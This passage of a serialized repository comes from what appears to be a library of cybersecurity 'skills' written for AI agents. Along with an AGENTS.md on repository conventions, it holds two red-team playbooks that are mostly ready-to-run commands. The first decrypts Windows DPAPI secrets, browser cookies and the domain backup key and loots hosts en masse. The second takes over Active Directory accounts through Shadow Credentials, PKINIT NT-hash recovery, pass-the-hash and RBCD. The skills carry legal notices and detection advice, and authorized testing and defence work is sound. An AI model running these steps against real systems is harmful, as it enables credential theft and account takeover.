|\n| Regenerate index | `python3 generate_index.py` (if exists) |\n| View mapping coverage | Open `mappings/mitre-attack/attack-navigator-layer.json` in ATT&CK Navigator |\n","AGENTS.md":"# AGENTS.md\n\nInstructions for AI agents working in this repository.\n\n## What this repository is\n\nA library of 817 cybersecurity skills. Each skill is a directory under `skills/` containing a `SKILL.md` — YAML frontmatter plus a Markdown procedure — following the [agentskills.io](https://agentskills.io) standard.\n\nThe layout is flat: `skills/<skill-name>/SKILL.md`. Do not nest skills by domain; agents discover them by scanning `skills/*/SKILL.md`.\n\n## Reading a skill\n\nOnly `name` and `description` load at discovery time. The body loads once the description matches the request; `references/`, `scripts/` and `assets/` load only when referenced.\n\nRead the description first. If it carries a negative trigger — \"Do not use for X — use `other-skill`\" — honour it. Those exist because two skills would otherwise compete for the same request.\n\n## Changing a skill\n\nFrontmatter is parsed by `tools/skill_frontmatter.py`, which uses PyYAML. Do not write a regex frontmatter parser; CI fails the build if it detects one. Three hand-rolled parsers previously truncated 604 of 817 descriptions to their first line.\n\nAfter changing any `SKILL.md`:\n\n```bash\npip install pyyaml\npython tools/validate-skill.py --all\npython tools/validate-agentskills.py --strict\npython tools/generate-index.py          # regenerate index.json\npython tools/lint-descriptions.py --all\npython tools/detect-collisions.py\n```\n\nAll five run in CI. `index.json` is generated — never edit it by hand.\n\n## Writing a description\n\nThe description is the only signal another agent sees when deciding whether to load the skill. It needs four things:\n\n1. What it does, concretely.\n2. `Use when …` — the phrasings a user would actually type.\n3. `Keywords:` — tool names, event IDs, CVEs, API calls.\n4. `Do not use for X — use other-skill.` — the negative trigger.\n\nKeep it under 1024 characters. Keep the body under 500 lines; depth belongs in `references/`.\n\n## Constraints\n\n- `name` must equal the directory name, lowercase-kebab, ≤64 characters.\n- `domain` is always `cybersecurity`. `subdomain` must be one the validator accepts — see CONTRIBUTING.md.\n- Scripts must run. No placeholders, no invented API endpoints, no fabricated CVE numbers.\n- Framework IDs must be real and current. A wrong mapping sends an investigation the wrong way; omit rather than guess.\n\n## Scope\n\nSee [SCOPE.md](SCOPE.md). This repository holds skills. Runtimes, engines and applications belong elsewhere.\n","skills/abusing-dpapi-for-credential-access/SKILL.md":"---\nname: abusing-dpapi-for-credential-access\ndescription: Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- credential-access\n- dpapi\n- sharpdpapi\n- post-exploitation\n- active-directory\n- windows\n- mimikatz\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1555.004\n---\n# Abusing DPAPI for Credential Access\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.\n\n## Overview\n\nThe Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual \"DPAPI blobs.\" The encrypted master keys live under `%APPDATA%\\Microsoft\\Protect\\<SID>\\` (user) and `%WINDIR%\\System32\\Microsoft\\Protect\\` (machine).\n\nRed teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:\n\n1. **Online / context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `/unprotect` flag uses this.\n2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `/password:` or `/ntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).\n3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `/pvk:`.\n\nThe canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote/offline triage.\n\n## When to Use\n\n- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.\n- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.\n- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.\n- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.\n- During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.\n\n## Prerequisites\n\n- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.\n- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.\n- Tooling (compile from source or use release binaries; obtain only from official upstreams):\n\n```bash\n# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild\ngit clone https://github.com/GhostPack/SharpDPAPI.git\n# Open SharpDPAPI.sln and build Release, or:\nmsbuild SharpDPAPI.sln /p:Configuration=Release\n\n# Mimikatz (original DPAPI implementation)\n# https://github.com/gentilkiwi/mimikatz/releases\n\n# Linux remote/offline triage (Impacket)\npipx install impacket            # provides dpapi.py / impacket-dpapi\npipx install donpapi             # https://github.com/login-securite/DonPAPI\n```\n\n## Objectives\n\n- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.\n- Decrypt user master keys online (`/unprotect`), with a password/hash, or with the domain backup key.\n- Recover plaintext Credential Manager and Vault secrets.\n- Extract browser saved logins and cookies with SharpChrome.\n- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys / backup keys is a form of credential material dumping. |\n\n## Workflow\n\n### 1. Triage the host for DPAPI blobs\n\nRun the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:\n\n```powershell\n# Online triage in the current user's context (uses CryptUnprotectData)\nSharpDPAPI.exe triage /unprotect\n\n# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs\nSharpDPAPI.exe machinetriage\n```\n\n### 2. Decrypt user master keys offline (password or NTLM hash)\n\nIf you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:\n\n```powershell\n# Decrypt all of the current/specified user's master keys with the password\nSharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple\n\n# Decrypt master keys with the user's NTLM hash instead of the password\nSharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a\n\n# Output is GUID:SHA1 lines — feed them to credentials/vaults commands\n```\n\n### 3. Recover Credential Manager and Vault secrets\n\nUse the decrypted master-key mapping (or `/pvk:`) to decrypt the stored credentials and vault entries:\n\n```powershell\n# Decrypt Credential Manager blobs with a GUID:SHA1 mapping\nSharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1\n\n# Or point at a target Credentials folder and decrypt with the domain backup key\nSharpDPAPI.exe credentials /target:C:\\Users\\bob\\AppData\\Local\\Microsoft\\Credentials\\ /pvk:backupkey.pvk\n\n# Decrypt Credential Vault entries\nSharpDPAPI.exe vaults /pvk:backupkey.pvk\n```\n\n### 4. Decrypt RDP, KeePass, and certificate secrets\n\n```powershell\n# Saved RDCMan.settings RDP passwords (current user context)\nSharpDPAPI.exe rdg /unprotect\n\n# KeePass DPAPI-protected master keys\nSharpDPAPI.exe keepass /unprotect\n\n# Certificate private keys (export usable .pem with /showall for all stores)\nSharpDPAPI.exe certificates /unprotect /showall\n```\n\n### 5. Extract browser credentials with SharpChrome\n\nSharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound \"state key\" that SharpChrome resolves via DPAPI:\n\n```powershell\n# Decrypt saved logins for the current user\nSharpChrome.exe logins /unprotect\n\n# Decrypt cookies (useful for session hijacking) in a target folder\nSharpChrome.exe cookies /target:\"C:\\Users\\bob\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\" /pvk:backupkey.pvk\n\n# Resolve the AES state key explicitly\nSharpChrome.exe statekeys /unprotect\n```\n\n### 6. Obtain the domain DPAPI backup key (Domain Admin)\n\nWith Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:\n\n```powershell\n# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface\nSharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk\n```\n\nThen decrypt any user's master keys offline with it:\n\n```powershell\nSharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\\Users\\alice\\AppData\\Roaming\\Microsoft\\Protect\\\n```\n\n### 7. Remote / Linux-based triage (Impacket / DonPAPI)\n\nFrom a Linux operator box, harvest and decrypt DPAPI secrets across hosts:\n\n```bash\n# Decrypt a single masterkey file with Impacket using the domain backup key\nimpacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk\n\n# Decrypt a credential blob with the recovered masterkey\nimpacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>\n\n# Mass remote DPAPI looting across hosts with DonPAPI\ndonpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| SharpDPAPI | Windows DPAPI triage/decryption (C#) | https://github.com/GhostPack/SharpDPAPI |\n| SharpChrome | Chromium logins/cookies/state-key decryption | https://github.com/GhostPack/SharpDPAPI |\n| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https://github.com/gentilkiwi/mimikatz |\n| Impacket dpapi.py | Remote/offline DPAPI decryption (Python) | https://github.com/fortra/impacket |\n| DonPAPI | Mass remote DPAPI looting | https://github.com/login-securite/DonPAPI |\n| HackTricks DPAPI | Technique reference | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |\n\n## Detection and OPSEC Notes\n\n- Master-key access and reads of `\\Microsoft\\Protect\\` and `\\Microsoft\\Credentials\\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.\n- The `/unprotect` (online) path is the stealthiest single-host option but only works as the live user.\n- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).\n\n## Validation Criteria\n\n- [ ] Host triaged with `SharpDPAPI triage` / `machinetriage`.\n- [ ] User master keys decrypted via `/unprotect`, `/password:`, `/ntlm:`, or `/pvk:`.\n- [ ] Credential Manager and Vault secrets recovered.\n- [ ] RDP / KeePass / certificate secrets extracted where present.\n- [ ] Browser logins/cookies decrypted with SharpChrome.\n- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.\n- [ ] All recovered secrets documented with source host/user and ROE adherence confirmed.\n","skills/abusing-dpapi-for-credential-access/references/api-reference.md":"# SharpDPAPI / DPAPI — Command Reference\n\n## SharpDPAPI User Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `triage` | Auto-run credentials, vaults, rdg, certificates | `SharpDPAPI.exe triage /unprotect` |\n| `masterkeys` | Decrypt user master keys (GUID:SHA1 output) | `SharpDPAPI.exe masterkeys /password:Pass` |\n| `credentials` | Decrypt Credential Manager blobs | `SharpDPAPI.exe credentials /pvk:key.pvk` |\n| `vaults` | Decrypt Credential Vault entries | `SharpDPAPI.exe vaults /pvk:key.pvk` |\n| `rdg` | Decrypt RDCMan.settings RDP passwords | `SharpDPAPI.exe rdg /unprotect` |\n| `keepass` | Decrypt KeePass DPAPI keys | `SharpDPAPI.exe keepass /unprotect` |\n| `certificates` | Decrypt certificate private keys | `SharpDPAPI.exe certificates /unprotect /showall` |\n\n## SharpDPAPI Machine Commands (require admin/SYSTEM)\n\n| Command | Purpose |\n|---------|---------|\n| `machinemasterkeys` | Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret) |\n| `machinecredentials` | Decrypt machine credential blobs |\n| `machinevaults` | Decrypt machine vault entries |\n| `machinetriage` | Run all machine-scoped triage commands |\n\n## SharpDPAPI Supporting Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `backupkey` | Retrieve domain DPAPI backup key (.pvk) via MS-BKRP | `SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk` |\n\n## Common Flags\n\n| Flag | Meaning |\n|------|---------|\n| `/unprotect` | Use live `CryptUnprotectData` in current user context (online) |\n| `/password:<pw>` | Decrypt master keys with the user's plaintext password |\n| `/ntlm:<hash>` | Decrypt master keys with the user's NTLM hash |\n| `/pvk:<file>` | Use domain backup private key for decryption |\n| `/mkfile:<file>` | Provide a specific master key file |\n| `/server:<dc>` | Target DC for backupkey retrieval |\n| `/target:<path>` | Target file/folder to decrypt |\n| `/rpc` | Use RPC to request master key decryption from a DC |\n| `/showall` | Show all certificate stores / verbose output |\n\n## SharpChrome Commands\n\n| Command | Purpose | Example |\n|---------|---------|---------|\n| `logins` | Decrypt saved browser logins | `SharpChrome.exe logins /unprotect` |\n| `cookies` | Decrypt browser cookies | `SharpChrome.exe cookies /pvk:key.pvk` |\n| `statekeys` | Decrypt the AES app-bound state key | `SharpChrome.exe statekeys /unprotect` |\n\n## Impacket dpapi.py (Linux)\n\n| Subcommand | Purpose | Example |\n|------------|---------|---------|\n| `masterkey` | Decrypt a master key file | `impacket-dpapi masterkey -file MK -pvk key.pvk` |\n| `credential` | Decrypt a credential blob | `impacket-dpapi credential -file CRED -key 0x<mk>` |\n| `vault` | Decrypt vault policy/creds | `impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>` |\n| `backupkeys` | Retrieve domain backup keys | `impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk` |\n\n## Key File Locations\n\n| Path | Contents |\n|------|----------|\n| `%APPDATA%\\Microsoft\\Protect\\<SID>\\` | User master keys |\n| `%WINDIR%\\System32\\Microsoft\\Protect\\` | Machine master keys |\n| `%LOCALAPPDATA%\\Microsoft\\Credentials\\` | Credential Manager blobs |\n| `%APPDATA%\\Microsoft\\Vault\\` / `%LOCALAPPDATA%\\Microsoft\\Vault\\` | Credential Vault |\n\n## External References\n\n- SharpDPAPI README: https://github.com/GhostPack/SharpDPAPI\n- Impacket: https://github.com/fortra/impacket\n","skills/abusing-dpapi-for-credential-access/references/standards.md":"# Standards and References — Abusing DPAPI for Credential Access\n\n## NIST CSF 2.0\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | DPAPI abuse generates detectable signals (MS-BKRP backup-key RPC to the DC, Protect/Credentials folder access, LSASS access) that monitoring must surface. |\n\n## MITRE ATT&CK\n\n| Technique ID | Name | Tactic | Rationale |\n|--------------|------|--------|-----------|\n| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager/Vault entries; decrypting them recovers stored credentials. |\n| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected browser logins/cookies. |\n| T1003 | OS Credential Dumping | Credential Access | Extracting master keys and the domain backup key dumps credential material. |\n\n## Supporting Frameworks and Standards\n\n- **MS-BKRP** — BackupKey Remote Protocol; the RPC interface used to retrieve the domain DPAPI backup key.\n- **MS-DPSP / DPAPI** — Microsoft's Data Protection API specification governing master keys and blob protection.\n- **D3FEND** — Credential Eviction / Password Rotation as mitigations after DPAPI compromise.\n\n## Official Resources\n\n- SharpDPAPI / SharpChrome: https://github.com/GhostPack/SharpDPAPI\n- Mimikatz: https://github.com/gentilkiwi/mimikatz\n- Impacket: https://github.com/fortra/impacket\n- DonPAPI: https://github.com/login-securite/DonPAPI\n- HackTricks DPAPI: https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html\n- SpecterOps \"Operational Guidance for Offensive User DPAPI Abuse\": https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107\n","skills/abusing-shadow-credentials-for-privesc/SKILL.md":"---\nname: abusing-shadow-credentials-for-privesc\ndescription: Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- active-directory\n- shadow-credentials\n- pywhisker\n- certipy\n- pkinit\n- key-credential-link\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1098.005\n---\n# Abusing Shadow Credentials for Privilege Escalation\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Shadow Credentials grant full takeover of the targeted account. Use only against systems you own or are explicitly authorized in writing to test. Unauthorized access is a crime.\n\n## Overview\n\nThe **Shadow Credentials** technique abuses the `msDS-KeyCredentialLink` attribute of Active Directory user and computer objects. This attribute stores raw public keys (\"Key Credentials\") used by Windows Hello for Business and Azure AD device registration for passwordless certificate-based logon via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). If an attacker has write permission over a target object's `msDS-KeyCredentialLink` — typically granted by `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` ACEs surfaced in BloodHound — they can append their own attacker-generated public key. They then request a TGT for the target via PKINIT using the matching private key and recover the target's NT hash, achieving complete account takeover **without resetting the password**, which is far stealthier than a forced password reset.\n\nThe technique was published by Elad Shamir (*\"Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover\"*) and implemented in the C# tool **Whisker**. The Python equivalent **pyWhisker** (ShutdownRepo) manipulates the attribute over LDAP, and **Certipy** integrates the entire chain via `certipy shadow auto`. The target environment must support PKINIT and have at least one Domain Controller running Windows Server 2016 or later. Sources: [pyWhisker](https://github.com/ShutdownRepo/pywhisker), [Whisker](https://github.com/eladshamir/Whisker), [The Hacker Recipes — Shadow Credentials](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials).\n\n## When to Use\n\n- When BloodHound reveals `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over a higher-value user or computer\n- As a stealthier alternative to `ForceChangePassword` (no password reset = less disruption/alerting)\n- To take over a computer account to chain into Resource-Based Constrained Delegation (RBCD)\n- During red-team operations needing account takeover without locking out the legitimate user\n- For purple-team exercises generating `msDS-KeyCredentialLink` modification telemetry\n\n## Prerequisites\n\n- Authorized engagement scope including AD credential-access techniques\n- Control of a principal with write access to the target's `msDS-KeyCredentialLink`\n- A DC running Windows Server 2016+ with PKINIT enabled (domain functional level supporting Key Trust)\n- Network reachability to LDAP (389/636) and Kerberos (88) on a DC\n- Linux attack host with Python 3.8+; install the tooling:\n  ```bash\n  # pyWhisker (from source)\n  git clone https://github.com/ShutdownRepo/pywhisker\n  cd pywhisker && pip install .\n  # Certipy (integrated shadow attack)\n  pipx install certipy-ad\n  # PKINITtools for manual TGT/NT-hash extraction\n  git clone https://github.com/dirkjanm/PKINITtools\n  ```\n\n## Objectives\n\n- Confirm write access over a target's `msDS-KeyCredentialLink`\n- Generate a key pair and append a Key Credential to the target object\n- Request a TGT for the target via PKINIT using the new key\n- Recover the target's NT hash for pass-the-hash / further movement\n- Clean up the injected Key Credential to restore the object's state\n- Document the ACL path that enabled the attack for remediation\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Application in this skill |\n|----|-----------|---------------------------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |\n\n## Workflow\n\n### Step 1: Confirm the write primitive\nList existing Key Credentials on the target to verify you have the required access. An empty or readable result confirms write access for the `add` step.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"list\"\n```\n\n### Step 2: Add a Shadow Credential with pyWhisker\nGenerate a certificate/key pair and write it into the target's `msDS-KeyCredentialLink`. pyWhisker outputs a PFX you control.\n\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"add\" --filename victim_shadow\n# Produces victim_shadow.pfx and prints the PFX password\n```\nUse Kerberos auth instead of a password if you only hold a ticket:\n```bash\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -k --no-pass \\\n    --target \"victim\" --action \"add\" --filename victim_shadow --use-ldaps\n```\n\n### Step 3: Request a TGT via PKINIT\nUse the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.\n\n```bash\npython3 PKINITtools/gettgtpkinit.py \\\n    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \\\n    corp.local/victim victim.ccache\n```\n\n### Step 4: Recover the NT hash\nExtract the target's NT hash from the AS-REP using the session key from Step 3 (`getnthash.py` reads the AS-REP encryption key, displayed by `gettgtpkinit.py`).\n\n```bash\nexport KRB5CCNAME=victim.ccache\npython3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim\n# Prints the NT hash for 'victim'\n```\n\n### Step 5: One-shot alternative with Certipy\nCertipy's `shadow auto` performs add → PKINIT → dump hash → cleanup automatically, which is ideal for computer-account takeover.\n\n```bash\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n# For a computer account, use the sAMAccountName with trailing $\ncertipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n### Step 6: Use the recovered credential\nAuthenticate with the NT hash (or the TGT) to continue the engagement.\n\n```bash\n# Pass-the-hash with NetExec\nnxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>\n# Or use the TGT directly\nexport KRB5CCNAME=victim.ccache\nnxc smb dc.corp.local -u victim --use-kcache\n```\n\n### Step 7: Chain computer takeover into RBCD (optional)\nWhen the target is a computer, the recovered key/hash lets you configure Resource-Based Constrained Delegation to impersonate any user to that host.\n\n```bash\n# Set RBCD so attacker-controlled SPN can impersonate to WS01$\nimpacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \\\n    -action write 'corp.local/attacker:Passw0rd!'\n```\n\n### Step 8: Clean up\nRemove the injected Key Credential to restore the object and reduce detection footprint.\n\n```bash\n# pyWhisker: remove by device-id (printed during add) or clear all you added\npython3 pywhisker.py -d \"corp.local\" -u \"attacker\" -p \"Passw0rd!\" \\\n    --target \"victim\" --action \"remove\" --device-id <DEVICE-ID>\n# Certipy shadow auto cleans up automatically; otherwise:\ncertipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'victim'\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| pyWhisker | Python LDAP manipulation of msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |\n| Whisker | Original C# implementation | https://github.com/eladshamir/Whisker |\n| Certipy | `shadow auto` end-to-end takeover | https://github.com/ly4k/Certipy |\n| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |\n| The Hacker Recipes | Technique walkthrough & defenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |\n\n## Detection and Remediation Notes\n\n| Area | Guidance |\n|------|----------|\n| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect/non-Intune principal writes the attribute. |\n| Auditing | Enable directory service object change auditing on user/computer OUs. |\n| Least privilege | Remove unnecessary `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |\n| Mitigation | Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |\n\n## Validation Criteria\n\n- [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)\n- [ ] Key Credential successfully added (PFX generated)\n- [ ] PKINIT TGT obtained for the target account\n- [ ] Target NT hash recovered and validated against a service\n- [ ] (If computer) RBCD chain or onward movement demonstrated\n- [ ] Injected Key Credential removed / object restored\n- [ ] Enabling ACL path documented with remediation recommendation\n","skills/abusing-shadow-credentials-for-privesc/references/api-reference.md":"# Shadow Credentials Tooling Reference\n\n## pyWhisker (https://github.com/ShutdownRepo/pywhisker)\n\nInvocation: `python3 pywhisker.py [auth] --target <obj> --action <action> [opts]`\n\n| Flag | Meaning |\n|------|---------|\n| `-d DOMAIN` | Target domain (FQDN) |\n| `-u USER` | Controlled username |\n| `-p PASSWORD` | Password |\n| `-k` / `--no-pass` | Kerberos auth (uses KRB5CCNAME) |\n| `-H LM:NT` | Pass-the-hash |\n| `--target NAME` | Target user/computer whose attribute is modified |\n| `--action list` | Enumerate existing Key Credentials |\n| `--action add` | Generate key pair, write Key Credential |\n| `--action remove` | Remove one Key Credential by `--device-id` |\n| `--action clear` | Remove all Key Credentials |\n| `--action info` | Show details of a Key Credential |\n| `--filename NAME` | Output PFX/PEM base name |\n| `--export PEM|PFX` | Output format (default PFX) |\n| `--device-id GUID` | Target device for remove/info |\n| `--dc-ip IP` | Domain Controller IP |\n| `--use-ldaps` | Use LDAPS (636) |\n\n### Example\n```bash\npython3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \\\n    --target victim --action add --filename victim_shadow\n```\n\n## Certipy `shadow` (https://github.com/ly4k/Certipy)\n\n| Command | Meaning |\n|---------|---------|\n| `certipy shadow auto` | Add → PKINIT → dump NT hash → cleanup (end to end) |\n| `certipy shadow add` | Add Key Credential only |\n| `certipy shadow list` | List Key Credentials |\n| `certipy shadow clear` | Clear Key Credentials |\n| `certipy shadow info` | Show Key Credential info |\n\nKey flags: `-u USER@DOMAIN`, `-p PW` / `-hashes :NT` / `-k -no-pass`,\n`-dc-ip IP`, `-account TARGET` (use trailing `$` for computers), `-ns IP`, `-dns-tcp`.\n\n### Example\n```bash\ncertipy shadow auto -u attacker@corp.local -p 'Passw0rd!' \\\n    -dc-ip 10.0.0.100 -account 'WS01$'\n```\n\n## PKINITtools (https://github.com/dirkjanm/PKINITtools)\n\n| Script | Purpose |\n|--------|---------|\n| `gettgtpkinit.py -cert-pfx FILE -pfx-pass PW DOMAIN/USER out.ccache` | Request TGT via PKINIT; prints AS-REP key |\n| `getnthash.py -key <AS-REP-KEY> DOMAIN/USER` | Recover NT hash (KRB5CCNAME set) |\n\n### Example\n```bash\npython3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \\\n    corp.local/victim victim.ccache\nexport KRB5CCNAME=victim.ccache\npython3 getnthash.py -key <AS-REP-KEY> corp.local/victim\n```\n\n## Detection signal\n- Event ID 5136 — modification of `msDS-KeyCredentialLink` (Directory Service Changes auditing).\n- BloodHound edge: `AddKeyCredentialLink`.\n","skills/abusing-shadow-credentials-for-privesc/references/standards.md":"# Standards Mapping — Abusing Shadow Credentials for Privilege Escalation\n\n## MITRE ATT&CK (Enterprise)\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential to `msDS-KeyCredentialLink` registers an alternate device/certificate credential for the target, which is exactly the device-registration manipulation this sub-technique describes. |\n\nReference: https://attack.mitre.org/techniques/T1098/005/\n\nRelated techniques exercised in the chain:\n- T1649 (Steal or Forge Authentication Certificates) — the PKINIT certificate used to authenticate.\n- T1550.003 / T1558 — using the recovered TGT/hash for movement.\n\n## NIST Cybersecurity Framework 2.0\n\n| ID | Name | Rationale |\n|----|------|-----------|\n| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege and separation of duties | The attack is only possible because of over-permissive ACEs (`GenericWrite`/`GenericAll`/`AddKeyCredentialLink`) on AD objects; remediation is least-privilege enforcement of who may write Key Credentials. |\n\nReference: https://csrc.nist.gov/projects/cybersecurity-framework\n","skills/achieving-cmmc-level-2-compliance/SKILL.md":"---\nname: achieving-cmmc-level-2-compliance\ndescription: >-\n  Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI\n  and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14\n  families, compute the SPRS score with the DoD Assessment Methodology, manage a\n  compliant POA&M, and ready the organization for a C3PAO assessment. Use when an\n  organization handles Controlled Unclassified Information (CUI) under a DoD contract,\n  when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for\n  or responding to a CMMC assessment, when computing or improving an SPRS score, when\n  building a System Security Plan or POA&M for 800-171, or when scoping which systems\n  are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2,\n  CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment\n  